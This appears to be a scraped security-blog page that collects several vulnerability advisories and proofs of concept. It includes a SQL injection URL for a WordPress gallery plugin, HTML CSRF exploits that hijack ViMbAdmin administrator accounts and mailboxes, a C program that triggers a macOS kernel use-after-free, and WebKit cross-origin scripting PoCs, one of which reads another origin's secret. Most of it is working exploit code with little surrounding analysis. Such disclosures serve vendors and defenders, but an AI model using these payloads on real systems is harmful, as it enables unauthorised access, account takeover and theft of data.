Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863170950

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: http://www.defensecode.com/advisories/DC-2017-02-011_WordPress_WebDorado_Gallery_Plugin_Advisory.pdf

DefenseCode ThunderScan SAST Advisory

WordPress WebDorado Gallery Plugin - SQL Injection Vulnerability
Advisory ID: DC-2017-02-011
Software: WordPress WebDorado Gallery Plugin
Software Language: PHP
Version: 1.3.29 and below
Vendor Status: Vendor contacted, vulnerability confirmed
Release Date: 20170502
Risk: Medium

1. General Overview
During the security audit, multiple security vulnerabilities were discovered in WordPress
WebDorado Gallery Plugin using DefenseCode ThunderScan application source code security
analysis platform.
More information about ThunderScan is available at URL:
http://www.defensecode.com


2. Software Overview
According to the plugin developers, WebDorado, Gallery plugin is a fully responsive
WordPress gallery plugin with advanced functionality that is easy to customize and has
various views. It has more than 300,000 downloads on wordpress.org.
Homepage:
https://wordpress.org/plugins/photo-gallery/
https://web-dorado.com/products/wordpress-photo-gallery-plugin.html
http://www.defensecode.com/advisories/DC-2017-02-011_WordPress_WebDorado_Gallery_Plugin_Advisory.pdf


3. Vulnerability Description
During the security analysis, ThunderScan discovered SQL injection vulnerability in WebDorado
Gallery WordPress plugin. The easiest way to reproduce the vulnerability is to visit the provided
URL while being logged in as administrator or another user that is authorized to access the
plugin settings page. Any user with such privileges can obtain the valid bwg_nonce value by
previously visiting the settings page. Users that to do not have full administrative privileges
could abuse the database access the vulnerability provides to either escalate their privileges
or obtain and modify database contents they were not supposed to be able to.


3.1 SQL injection
Function: $wpdb->get_col($query)
Variable: $_GET['album_id']

Sample URL:
http://server/wp-admin/adminajax.php?action=addAlbumsGalleries&album_id=0%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5))
)VvZV)&width=700&height=550&bwg_items_per_page=20&bwg_nonce=b939983df9&TB_iframe=1

File: photo-gallery\admin\models\BWGModelAddAlbumsGalleries.php

26 $album_id = ((isset($_GET['album_id'])) ? esc_html(stripslashes($_GET['album_id'])) :
((isset($_POST['album_id'])) ? esc_html(stripslashes($_POST['album_id'])) : ''));
...
28 $page_nav = $this->model->page_nav($album_id);

File: photo-gallery\admin\views\BWGViewAddAlbumsGalleries.php

41 public function page_nav($album_id) {
...
44 $query = "SELECT id FROM " . $wpdb->prefix . "bwg_album WHERE published=1 AND id<>" .
$album_id . " " . $where . " UNION ALL SELECT id FROM " . $wpdb->prefix . "bwg_gallery WHERE
published=1 " . $where;
45 $total = count($wpdb->get_col($query));


4. Solution
Vendor resolved the security issues in one of the subsequent releases. All users are strongly
advised to update WordPress WebDorado Gallery plugin to the latest available version. Version
1.3.38 no longer seems to be vulnerable.


5. Credits
Discovered by Neven Biruski with DefenseCode ThunderScan source code security analyzer.


6. Disclosure Timeline
20170404 Vendor contacted
20170405 Vendor responded: “Thanks for noticing and told us about this, we will
take into account and will fix the issues with upcoming update.”
? Update released
20170502 Latest plugin version tested. Vulnerability seems fixed.
Advisory released to the public.
http://www.defensecode.com/advisories/DC-2017-02-011_WordPress_WebDorado_Gallery_Plugin_Advisory.pdf


7. About DefenseCode
DefenseCode L.L.C. delivers products and services designed to analyze and test web, desktop
and mobile applications for security vulnerabilities.
DefenseCode ThunderScan is a SAST (Static Application Security Testing, WhiteBox Testing)
solution for performing extensive security audits of application source code. ThunderScan
performs fast and accurate analyses of large and complex source code projects delivering
precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security Testing, BlackBox Testing)
solution for comprehensive security audits of active web applications. WebScanner will test a
website's security by carrying out a large number of attacks using the most advanced
techniques, just as a real attacker would.

Subscribe for free software trial on our website http://www.defensecode.com
E-mail: defensecode[at]defensecode.com
Website: http://www.defensecode.com
Twitter: https://twitter.com/DefenseCode/
            
# [CVE-2017-6086] Multiple CSRF vulnerabilities in ViMbAdmin version 3.0.15

## Product Description

ViMbAdmin is a web-based interface used to manage a mail server with virtual domains, mailboxes and aliases. It is an open source solution developed by Opensolutions and distributed under the GNU/GPL license version 3. The official web site can be found at http://www.vimbadmin.net and the source code of the application is available on github https://github.com/opensolutions.

## Details

**CVE ID**: CVE-2017-6086

**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-352

**CVSS Base Score**: 8.8

**CVSS vector**: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

## Proof of concept

### Add administrator user

#### Exploit

The following html/javascript code allows to delete an administrator user. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.

```html
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/admin/add" method="POST" target="csrf-frame" >
<input type="text" name="user" value="target@email" >
<input type="text" name="password" value="newpassword" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>

```

#### Vulnerable code

The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/DomainController.php` file.

### Remove administrator user

#### Exploit

The following html/javascript code allows to delete an administrator user. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.

```html
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/admin/purge/aid/<administrator id>" method="GET" target="csrf-frame" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>
```

#### Vulnerable code

The vulnerable code is located in the `purgeAction()` method of the `<vimbadmin directory>/application/controllers/DomainController.php` file.

### Change administrator password

#### Exploit

The following html/javascript code allows to update administrator password. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.

```html
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/admin/password/aid/<administrator id>" method="POST" target="csrf-frame" >
<input type="text" name="password" value="newpassword" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>
```

#### Vulnerable code

The vulnerable code is located in the `passwordAction()` method of the `<vimbadmin directory>/application/controllers/DomainController.php` file.

### Add mailbox address

#### Exploit

The following html/javascript code allows to update administrator password. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.

```html
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/mailbox/add/did/<domain id>" method="POST" target="csrf-frame" >
<input type="text" name="local_part" value="<fakeemail>" >
<input type="text" name="domain" value="<domain id>" >
<input type="text" name="name" value="<fake name>" >
<input type="text" name="password" value="<password>" >
<input type="text" name="quota" value="0" >
<input type="text" name="alt_email" value="" >
<input type="text" name="cc_welcome_email" value="" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>
```

#### Vulnerable code

The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/MailboxController.php` file.

### Purge mailbox

#### Exploit

The following html/javascript code allows to remove a mailbox address. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.

```html
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/mailbox/purge/mid/<mailbox id>" method="POST" target="csrf-frame" >
<input type="text" name="data" value="purge" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>
```

#### Vulnerable code

The vulnerable code is located in the `purgeAction()` method of the `<vimbadmin directory>/application/controllers/MailboxController.php` file.

### Archive mailbox

#### Exploit

The following html/javascript code allows to force the archival of a mailbox address. It needs to be visited by an administrator of the targeted ViMbAdmin application.

```html
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/archive/add/mid/<mailbox id>" method="GET" target="csrf-frame" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>
```

#### Vulnerable code

The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/ArchiveController.php` file.

### Add alias address

#### Exploit

The following html/javascript code allows to force the archival of a mailbox address. It needs to be visited by an administrator of the targeted ViMbAdmin application.

```html
curl 'http://<ip>/alias/add/did/<domain id>'  --data 'local_part=<fake mailbox>&domain=<domain id>&goto%5B%5D=<redirection email address>'
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/alias/add/did/<domain id>" method="POST" target="csrf-frame" >
<input type="text" name="local_part" value="<fake mailbox>" >
<input type="text" name="domain" value="<domain id>" >
<input type="text" name="goto[]" value="<redirection email address>" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>
```

#### Vulnerable code

The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/AliasController.php` file.

### Remove alias address

#### Exploit

The following html/javascript code allows the removal of a alias address. It needs to be visited by a logged administrator of the targeted ViMbAdmin application.

```html
<head>
<title>CSRF ViMbAdmin</title>
</head>
<body>


<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="http://<target ip>/alias/delete/alid/<alias id>" method="GET" target="csrf-frame" >
</form>


<script>document.getElementById("csrf-form").submit()</script>

</body>
```

#### Vulnerable Code

The vulnerable code is located in the `addAction()` method of the `<vimbadmin directory>/application/controllers/AliasController.php` file.

## Affected version

* tested on version 3.0.15

## Timeline (dd/mm/yyyy)

* 22/01/2017 : Initial discovery.
* 16/02/2017 : First contact with opensolutions.io
* 16/02/2017 : Advisory sent.
* 24/02/2017 : Reply from the owner, acknowledging the report and planning to fix the vulnerabilities.
* 13/03/2017 : Sysdream Labs request for an update.
* 29/03/2017 : Second request for an update.
* 29/03/2017 : Reply from the owner stating that he has no time to fix the issues.
* 03/05/2017 : Full disclosure.


## Credits

* Florian NIVETTE, Sysdream (f.nivette -at- sysdream -dot- com)
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1123

unp_externalize is responsible for externalizing the file descriptors carried within a unix domain socket message.
That means allocating new fd table entries in the receiver and recreating a file which looks looks (to userspace) like the file
the sender sent.

Here's the relevant code:

  for (i = 0; i < newfds; i++) {     <----------- (a)
#if CONFIG_MACF_SOCKET
    /*
     * If receive access is denied, don't pass along
     * and error message, just discard the descriptor.
     */
    if (mac_file_check_receive(kauth_cred_get(), rp[i])) {
      proc_fdunlock(p);
      unp_discard(rp[i], p);
      fds[i] = 0;
      proc_fdlock(p);
      continue;
    }
#endif
    if (fdalloc(p, 0, &f))
      panic("unp_externalize:fdalloc");
    fp = fileproc_alloc_init(NULL);
    if (fp == NULL)
      panic("unp_externalize: MALLOC_ZONE");
    fp->f_iocount = 0;
    fp->f_fglob = rp[i];
    if (fg_removeuipc_mark(rp[i]))
      fgl[i] = rp[i];
    else
      fgl[i] = NULL;
    procfdtbl_releasefd(p, f, fp);
    fds[i] = f;
  }
  proc_fdunlock(p);                <-------- (b)

  for (i = 0; i < newfds; i++) {
    if (fgl[i] != NULL) {
      VERIFY(fgl[i]->fg_lflags & FG_RMMSGQ);
      fg_removeuipc(fgl[i]);      <--------- (c)
    }
    if (fds[i])
      (void) OSAddAtomic(-1, &unp_rights);
  }


The loop at a gets the fileglobs from the socket message buffer and allocates new fds in the receiver
and sets the fp->f_fglob fileglob pointer to point to the sent fg. After each new fd is allocated and initialized
the fd is released and associated with the new fp.

At (b) the code then drops the process fd lock at which point other threads can access the fd table again.

At (c) the code then removes each of the fileglobs from the list of in-transit fileglobs; however this list *doesn't*
hold an fg reference therefore there's nothing stopping the fg from getting free'd via another thread closing
the fd between (b) and (c).

Use zone poisoning for a reliable crasher.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 
*/

//ianbeer
//the ReadDescriptor and Write Descriptor functions are based on Apple sample code from: https://developer.apple.com/library/content/qa/qa1541/_index.html

#if 0
iOS/MacOS kernel uaf due to bad locking in unix domain socket file descriptor externalization

unp_externalize is responsible for externalizing the file descriptors carried within a unix domain socket message.
That means allocating new fd table entries in the receiver and recreating a file which looks looks (to userspace) like the file
the sender sent.

Here's the relevant code:

	for (i = 0; i < newfds; i++) {     <----------- (a)
#if CONFIG_MACF_SOCKET
		/*
		 * If receive access is denied, don't pass along
		 * and error message, just discard the descriptor.
		 */
		if (mac_file_check_receive(kauth_cred_get(), rp[i])) {
			proc_fdunlock(p);
			unp_discard(rp[i], p);
			fds[i] = 0;
			proc_fdlock(p);
			continue;
		}
#endif
		if (fdalloc(p, 0, &f))
			panic("unp_externalize:fdalloc");
		fp = fileproc_alloc_init(NULL);
		if (fp == NULL)
			panic("unp_externalize: MALLOC_ZONE");
		fp->f_iocount = 0;
		fp->f_fglob = rp[i];
		if (fg_removeuipc_mark(rp[i]))
			fgl[i] = rp[i];
		else
			fgl[i] = NULL;
		procfdtbl_releasefd(p, f, fp);
		fds[i] = f;
	}
	proc_fdunlock(p);                <-------- (b)

	for (i = 0; i < newfds; i++) {
		if (fgl[i] != NULL) {
			VERIFY(fgl[i]->fg_lflags & FG_RMMSGQ);
			fg_removeuipc(fgl[i]);      <--------- (c)
		}
		if (fds[i])
			(void) OSAddAtomic(-1, &unp_rights);
	}


The loop at a gets the fileglobs from the socket message buffer and allocates new fds in the receiver
and sets the fp->f_fglob fileglob pointer to point to the sent fg. After each new fd is allocated and initialized
the fd is released and associated with the new fp.

At (b) the code then drops the process fd lock at which point other threads can access the fd table again.

At (c) the code then removes each of the fileglobs from the list of in-transit fileglobs; however this list *doesn't*
hold an fg reference therefore there's nothing stopping the fg from getting free'd via another thread closing
the fd between (b) and (c).

Use zone poisoning for a reliable crasher.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 
#endif 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/uio.h>
#include <sys/socket.h>
#include <errno.h>
#include <assert.h>
#include <pthread.h>

static const char kDummyData = 'D';

static int ReadDescriptor(int fd, int *fdRead)
    // Read a descriptor from fd and place it in *fdRead.
    //
    // On success, the caller is responsible for closing *fdRead.
{
    int                 err;
    int                 junk;
    struct msghdr       msg;
    struct iovec        iov;
    struct {
        struct cmsghdr  hdr;
        int             fd;
    }                   control;
    char                dummyData;
    ssize_t             bytesReceived;

    // Pre-conditions

    assert(fd >= 0);
    assert( fdRead != NULL);
    assert(*fdRead == -1);

    // Read a single byte of data from the socket, with the assumption 
    // that this byte has piggybacked on to it a single descriptor that 
    // we're trying to receive. This is pretty much standard boilerplate 
    // code for reading descriptors; see <x-man-page://2/recv> for details.

    iov.iov_base = (char *) &dummyData;
    iov.iov_len  = sizeof(dummyData);

    msg.msg_name       = NULL;
    msg.msg_namelen    = 0;
    msg.msg_iov        = &iov;
    msg.msg_iovlen     = 1;
    msg.msg_control    = &control;
    msg.msg_controllen = sizeof(control);
    msg.msg_flags      = MSG_WAITALL;

    do {
        bytesReceived = recvmsg(fd, &msg, 0);
        if (bytesReceived == sizeof(dummyData)) {
            if ( (dummyData != kDummyData)
                || (msg.msg_flags != 0) 
                || (msg.msg_control == NULL) 
                || (msg.msg_controllen != sizeof(control)) 
                || (control.hdr.cmsg_len != sizeof(control)) 
                || (control.hdr.cmsg_level != SOL_SOCKET)
                || (control.hdr.cmsg_type  != SCM_RIGHTS) 
                || (control.fd < 0) ) {
                err = EINVAL;
            } else {
                *fdRead = control.fd;
                err = 0;
            }
        } else if (bytesReceived == 0) {
            err = EPIPE;
        } else {
            assert(bytesReceived == -1);

            err = errno;
            assert(err != 0);
        }
    } while (err == EINTR);

    assert( (err == 0) == (*fdRead >= 0) );

    return err;
}

static int WriteDescriptor(int fd, int fdToWrite)
    // Write the descriptor fdToWrite to fd.
{
    int                 err;
    struct msghdr       msg;
    struct iovec        iov;
    struct {
        struct cmsghdr  hdr;
        int             fd;
    }                   control;
    ssize_t             bytesSent;
    char                ack;

    // Pre-conditions

    assert(fd >= 0);
    assert(fdToWrite >= 0);

    control.hdr.cmsg_len   = sizeof(control);
    control.hdr.cmsg_level = SOL_SOCKET;
    control.hdr.cmsg_type  = SCM_RIGHTS;
    control.fd             = fdToWrite;

    iov.iov_base = (char *) &kDummyData;
    iov.iov_len  = sizeof(kDummyData);

    msg.msg_name       = NULL;
    msg.msg_namelen    = 0;
    msg.msg_iov        = &iov;
    msg.msg_iovlen     = 1;
    msg.msg_control    = &control;
    msg.msg_controllen = control.hdr.cmsg_len;
    msg.msg_flags      = 0;
    do {
        bytesSent = sendmsg(fd, &msg, 0);
        if (bytesSent == sizeof(kDummyData)) {
            err = 0;
        } else {
            assert(bytesSent == -1);

            err = errno;
            assert(err != 0);
        }
    } while (err == EINTR);

    return err;
}

char* filenames[10] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j"};

void parent(int sock) {
  int f = 0;
  while(1) {
    char* filename = filenames[f];
    f++;
    f %= 10;
    int to_send = open(filename, O_CREAT|O_RDWR, 0644);
    
    int err = WriteDescriptor(sock, to_send);
    printf("err: %x\n", err);
    
    close(to_send);
  }
}

void* child_thread(void* arg) {
  while(1) {
    close(3);
  }
}

void child(int sock) {
  for (int i = 0; i < 10; i++) {
    pthread_t t;
    pthread_create(&t, NULL, child_thread, NULL);
  }
  while (1) {
    int received = -1;
    int err = ReadDescriptor(sock, &received);
    close(received);
  }
}

int main() {
  int socks[2];
  socketpair(PF_LOCAL, SOCK_STREAM, 0, socks);

  pid_t pid = fork();
  if (pid != 0) {
    close(socks[1]);
    parent(socks[0]);
    int wl;
    waitpid(pid, &wl, 0);
    exit(EXIT_SUCCESS);
  } else {
    close(socks[0]);
    child(socks[1]);
    exit(EXIT_SUCCESS);
  }
  return 0;
}
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1162

void FrameLoader::clear(Document* newDocument, bool clearWindowProperties, bool clearScriptObjects, bool clearFrameView)
{
    m_frame.editor().clear();

    if (!m_needsClear)
        return;
    m_needsClear = false;
    
    if (m_frame.document()->pageCacheState() != Document::InPageCache) {
        ...
        m_frame.document()->prepareForDestruction(); <<-------- (a)
        if (hadLivingRenderTree)
            m_frame.document()->removeFocusedNodeOfSubtree(*m_frame.document());
    }
    ...
    m_frame.setDocument(nullptr); <<------- (b)
    ...
    if (clearWindowProperties)
        m_frame.script().setDOMWindowForWindowShell(newDocument->domWindow()); <<------- (c)
    ...
}

FrameLoader::clear is called when page navigation is made and it does:
1. clear the old document at (b).
2. attach the new window object at (c).

If a new page navigation is made at (a), the new window will not attached due to |m_needsClear| check. As a result, the new document's script will be execute on the old window object.

PoC will reproduce to steal |secret_key| value from another origin(data:text/html,...).

PoC:
-->

<body>
Click anywhere.
<script>
function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

window.onclick = () => {
    window.onclick = null;

    let f = document.body.appendChild(document.createElement('iframe'));
    f.contentDocument.open();
    f.contentDocument.onreadystatechange = () => {
        f.contentDocument.onreadystatechange = null;

        let g = f.contentDocument.appendChild(document.createElement('iframe'));
        g.contentDocument.open();
        g.contentDocument.onreadystatechange = () => {
            g.contentDocument.onreadystatechange = null;

            f.contentWindow.__defineGetter__('navigator', function () {
                return {};
            });

            let a = f.contentDocument.createElement('a');
            a.href = 'data:text/html,' + encodeURI(`<script>var secret_key = '23412341234';</scrip` + 't>');
            a.click();

            showModalDialog(createURL(`
<script>
let it = setInterval(() => {
    try {
        opener[0].frameElement.contentDocument.x;
    } catch (e) {
        clearInterval(it);
        window.close();
    }
}, 100);
</scrip` + 't>'));

            alert('secret_key:' + f.contentWindow.secret_key);
            //showModalDialog('about:blank');
        };
    };

    f.src = 'javascript:""';
}

</script>
</body>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1151

Here is a snippet of CachedFrameBase::restore which is invoked when cached frames are restored.

void CachedFrameBase::restore()
{
    ...
    for (auto& childFrame : m_childFrames) {
        ASSERT(childFrame->view()->frame().page());
        frame.tree().appendChild(childFrame->view()->frame());
        childFrame->open(); <----- (a)
    }
    ...
    // FIXME: update Page Visibility state here.
    // https://bugs.webkit.org/show_bug.cgi?id=116770
    m_document->enqueuePageshowEvent(PageshowEventPersisted);

    HistoryItem* historyItem = frame.loader().history().currentItem();
    if (historyItem && historyItem->stateObject())
        m_document->enqueuePopstateEvent(historyItem->stateObject());

    frame.view()->didRestoreFromPageCache();
}

enqueuePageshowEvent and enqueuePopstateEvent are named "enqueue*", but actually those *dispatch* window events that may fire JavaScript handlers synchronously. 

At (a), |open| method may invoke |CachedFrameBase::restore| method again. Thus, the parent frame's document may be replaced while |open| is called in the iteration, the next child frame is attached to the parent frame holding the replaced document.

PoC:
-->

<html>
<body>
<script>

function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

function navigate(w, url) {
    let a = w.document.createElement('a');
    a.href = url;
    a.click();
}

function main() {
    let i0 = document.body.appendChild(document.createElement('iframe'));
    let i1 = document.body.appendChild(document.createElement('iframe'));

    i0.contentWindow.onpageshow = () => {
        navigate(window, 'https://abc.xyz/');

        showModalDialog(createURL(`
<script>
let it = setInterval(() => {
    try {
        opener.document.x;
    } catch (e) {
        clearInterval(it);
        window.close();
    }
}, 10);
</scrip` + 't>'));

    };

    i1.contentWindow.onpageshow = () => {
        i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
        navigate(i1.contentWindow, 'about:srcdoc');
    };

    navigate(window, createURL(`<html><head></head><body>Click anywhere<script>
window.onclick = () => {
    window.onclick = null;

    history.back();
};

</scrip` + `t></body></html>`));
}

window.onload = () => {
    setTimeout(main, 0);
};

</script>
</body>
</html>
            
Sources:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1146
https://bugs.chromium.org/p/chromium/issues/detail?id=519558

VULNERABILITY DETAILS
From /WebKit/Source/core/dom/ContainerNode.cpp:

----------------
void ContainerNode::parserInsertBefore(PassRefPtrWillBeRawPtr<Node> newChild, Node& nextChild)
{
(...)
    while (RefPtrWillBeRawPtr<ContainerNode> parent = newChild->parentNode())
        parent->parserRemoveChild(*newChild);

    if (document() != newChild->document())
        document().adoptNode(newChild.get(), ASSERT_NO_EXCEPTION);

    {
        EventDispatchForbiddenScope assertNoEventDispatch;
        ScriptForbiddenScope forbidScript;

        treeScope().adoptIfNeeded(*newChild);
        insertBeforeCommon(nextChild, *newChild);
        newChild->updateAncestorConnectedSubframeCountForInsertion();
        ChildListMutationScope(*this).childAdded(*newChild);
    }

    notifyNodeInserted(*newChild, ChildrenChangeSourceParser);
}
----------------

|parserRemoveChild| can run script, and it can remove |nextChild| from DOM or move the node around. When this happens, the tree will be in an inconsistent state after the |insertBeforeCommon| call, allowing an attacker to bypass the frame restrictions.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42066.zip
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1134

Here's a snippet of ContainerNode::parserRemoveChild.

void ContainerNode::parserRemoveChild(Node& oldChild)
{
    disconnectSubframesIfNeeded(*this, DescendantsOnly); <<---- (a)
    ...
    document().notifyRemovePendingSheetIfNeeded(); <<---- (b)
}

subframes are detached at (a). But In |notifyRemovePendingSheetIfNeeded| at (b), which fires a focus event, we can attach subframes again.

PoC:
-->

<html>
<head>
</head>
<body>
<script>

let xml = `
<body>
    <div>
        <b>
            <p>
                <script>
                let p = document.querySelector('p');
                let link = p.appendChild(document.createElement('link'));
                link.rel = 'stylesheet';
                link.href = 'data:,aaaaazxczxczzxzcz';

                let btn = document.body.appendChild(document.createElement('button'));
                btn.id = 'btn';
                btn.onfocus = () => {
                    btn.onfocus = null;

                    window.d = document.querySelector('div');
                    window.d.remove();

                    link.remove();
                    document.body.appendChild(p);

                    let m = p.appendChild(document.createElement('iframe'));
                    setTimeout(() => {
                        document.documentElement.innerHTML = '';

                        m.onload = () => {
                            m.onload = null;

                            m.src = 'javascript:alert(location);';
                            var xml = \`
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.d);
</sc\` + \`ript>
<element a="1" a="2" />
</svg>\`;

                            var tmp = document.documentElement.appendChild(document.createElement('iframe'));
                            tmp.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
                        };
                        m.src = 'https://abc.xyz/';
                    }, 0);
                };

                location.hash = 'btn';
                </scrip` + `t>
            </b>
        </p>
    </div>
</body>`;

let tf = document.body.appendChild(document.createElement('iframe'));
tf.src = URL.createObjectURL(new Blob([xml], {type: 'text/html'}));

</script>
</body>
</html>
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1133

Here's a snippet of Editor::Command::execute used to handle |document.execCommand|.

bool Editor::Command::execute(const String& parameter, Event* triggeringEvent) const
{
    if (!isEnabled(triggeringEvent)) {
        // Let certain commands be executed when performed explicitly even if they are disabled.
        if (!allowExecutionWhenDisabled())
            return false;
    }
    m_frame->document()->updateLayoutIgnorePendingStylesheets();
    return m_command->execute(*m_frame, triggeringEvent, m_source, parameter);
}

This method is invoked under an |EventQueueScope|. But |updateLayoutIgnorePendingStylesheets| invokes |MediaQueryMatcher::styleResolverChanged| that directly calls |handleEvent| not affected by |EventQueueScope|. So it may end up to fire javascript handlers(|listener| in PoC). If we replace the document in that handler, |m_command| will be executed on the new document's focused element. We can use # in URL to give a focus.

Note 1: The PoC also trigger a UAF. So I recommend to test it on a release build.
Note 2: If the PoC doesn't work, adjust sleep().

Tested on Safari 10.0.3(12602.4.8).

PoC:
-->

<html>
<body>
Click Anywhere.
<script>

function sleep(ms) {
    let start = new Date();
    while (new Date() - start < ms) {

    }
}

window.onclick = () => {
    window.onclick = null;

    document.designMode = 'on';
    document.execCommand('selectAll');

    let f = document.body.appendChild(document.createElement('iframe'));
    let media_list = f.contentWindow.matchMedia("(max-width: 100px)");

    function listener() {
        let a = document.createElement('a');
        a.href = 'https://bugs.webkit.org/#quicksearch_top';
        a.click();

        sleep(1000);

        window.showModalDialog(URL.createObjectURL(new Blob([`
<script>
let it = setInterval(() => {
try {
    opener.document.x;
} catch (e) {
    clearInterval(it);

    setTimeout(() => {
        window.close();
    }, 2000);
}
}, 100);
</scrip` + 't>'], {type: 'text/html'})));
    }

    media_list.addListener(listener);
    document.execCommand('insertHTML', false, 'aaa<a-a></a-a><iframe src="javascript:alert(parent.location)"></iframe>');
};

</script>
</body>
</html>

<!--
UAF Asan Log:
=================================================================
==3526==ERROR: AddressSanitizer: heap-use-after-free on address 0x61700004d1d8 at pc 0x000117706e8b bp 0x7fff5349d050 sp 0x7fff5349d048
READ of size 8 at 0x61700004d1d8 thread T0
    #0 0x117706e8a in WebCore::RenderView::flushAccumulatedRepaintRegion() const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2485e8a)
    #1 0x115959230 in WebCore::Document::updateLayout() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6d8230)
    #2 0x11595f6fb in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6de6fb)
    #3 0x115ae7206 in WebCore::Element::offsetLeft() (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x866206)
    #4 0x11661b82b in WebCore::jsElementOffsetLeftGetter(JSC::ExecState&, WebCore::JSElement&, JSC::ThrowScope&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x139a82b)
    #5 0x116609fe3 in long long WebCore::BindingCaller<WebCore::JSElement>::attribute<&(WebCore::jsElementOffsetLeftGetter(JSC::ExecState&, WebCore::JSElement&, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, long long, char const*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1388fe3)
    #6 0x112c20808 in JSC::PropertySlot::customGetter(JSC::ExecState*, JSC::PropertyName) const (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1588808)
    #7 0x1129593be in llint_slow_path_get_by_id (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c13be)
    #8 0x1129767b6 in llint_entry (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12de7b6)
    #9 0x11297395a in vmEntryToJavaScript (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12db95a)
    #10 0x11262d662 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf95662)
    #11 0x1125b12f8 in JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf192f8)
    #12 0x111d90a8c in JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (/Volumes/L/Develop/audits/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6f8a8c)
